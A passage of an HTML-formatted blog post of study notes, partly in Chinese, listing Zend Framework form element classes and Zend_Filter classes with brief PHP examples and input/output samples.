&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;if&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;!&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$form&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;foo&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;receive&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;print&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&quot;Error receiving the file&quot;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$location&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$form&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;foo&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #400000;&quot;&gt;getFileName&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-attachment: initial; background-clip: initial; background-image: initial; background-origin: initial;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Hidden&lt;/div&gt;
&lt;div&gt;
hidden&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Hash&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Image&lt;/div&gt;
&lt;div&gt;
image&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_MultiCheckbox&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Multiselect&lt;/div&gt;
&lt;div&gt;
&lt;div&gt;
Zend_Form_Element_Password&lt;/div&gt;
&lt;div&gt;
password&lt;/div&gt;
&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Radio&lt;/div&gt;
&lt;div&gt;
radio&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Reset&lt;br /&gt;
reset&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Select&lt;br /&gt;
select (both regular and multi-select types)&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Submit&lt;br /&gt;
submit&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Text&lt;/div&gt;
&lt;div&gt;
text&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
Zend_Form_Element_Textarea&lt;br /&gt;
textarea&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;background-color: #fff2cc;&quot;&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;font-size: x-large;&quot;&gt;Filter&lt;/span&gt;&lt;/span&gt;&lt;/b&gt;&lt;br /&gt;
&lt;b&gt;Zend_Filter_Alnum&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_Alpha&lt;/b&gt;&lt;br /&gt;
數字會被過濾掉&lt;br /&gt;
&#39;hello 123&#39; =&amp;gt; &#39;hello&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_BaseName&lt;/b&gt;&lt;br /&gt;
&#39;/home/q110185/filename&#39; =&amp;gt;&#39;filename&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_Boolean&lt;/b&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// converts 0 and &#39;0&#39; to false&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_Boolean&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;type&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;integer&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;zero&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;,&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;?&amp;gt;&lt;/span&gt;
&lt;/pre&gt;
&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;boolean&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Returns a boolean value as is.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;integer&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts an integer 0 value to FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;float&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts a float 0.0 value to FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;string&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts an empty string &#39;&#39; to FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;zero&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts a string containing the single character zero (&#39;0&#39;) to FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;empty_array&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts an empty array to FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;null&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts a NULL value to FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;php&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts values according to PHP when casting them to BOOLEAN.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;false_string&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts a string containing the word &quot;false&quot; to a boolean FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;yes&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts a localized string which contains the word &quot;no&quot; to FALSE.&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;all&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #999999;&quot;&gt;: Converts all above types to BOOLEAN.&lt;/span&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_Callback&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_Compress and Zend_Filter_Decompress&lt;/b&gt;&lt;br /&gt;
壓縮解壓縮&lt;br /&gt;
參數 有Bz2、Gz、Lzf、Rar、Tar、Zip&lt;br /&gt;
&lt;div&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div&gt;
&lt;b&gt;Zend_Filter_Digitls&lt;/b&gt;&lt;/div&gt;
&lt;div&gt;
&#39;hello 123&#39; =&amp;gt; &#39;123&#39;&lt;/div&gt;
&lt;div&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_Dir&lt;/b&gt;&lt;br /&gt;
&#39;/etc/passwd&#39; =&amp;gt; &#39;/etc&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_Encrypt and Zend_Filter_Decrypt&amp;nbsp;&lt;/b&gt;&lt;br /&gt;
加解密用&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_HtmlEntities&lt;/b&gt;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_Int&lt;/b&gt;&lt;br /&gt;
&#39;-4 ddfdf 334&#39; =&amp;gt; &#39;-4&#39;&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;Zend_Filter_LocalizedToNormalized and Zend_Filter_NormalizedToLocalized&lt;/b&gt;&lt;br /&gt;
&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;The following input types can be normalized and localized:&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;integer&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;: Integer numbers. Normalization returns the english notation&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;float&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;: Float numbers. Normalization returns the english notation&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;numbers&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;: Other numbers, like real. Normalization returns the english notation&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;time&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;: Time values. The normalized value is a named array&lt;/span&gt;&lt;br /&gt;
&lt;b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;date&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;Apple-style-span&quot; style=&quot;color: #666666;&quot;&gt;: Date values. The normalized value is a named array&lt;/span&gt;&lt;br /&gt;
&lt;pre style=&quot;background: #ffffff; color: black;&quot;&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #a65700;&quot;&gt;&amp;lt;?php&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// Initiate the filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_LocalizedToNormalized&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;-&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;&amp;gt;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;123.456,78&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;)&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: purple;&quot;&gt;;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// returns the value &#39;123456.78&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: dimgrey;&quot;&gt;// Numeric Filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;&lt;/span&gt;
&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt;$filter&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;new&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; Zend_Filter_LocalizedToNormalized&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: maroon; font-weight: bold;&quot;&gt;array&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;(&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #0000e6;&quot;&gt;&#39;precision&#39;&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: black;&quot;&gt; &lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; background-origin: initial; color: #808030;&quot;&gt;=&lt;/span&gt;&lt;span style=&quot;background-attachment: initial; background-clip: initial; background-color: #ffffe8; background-image: initial; 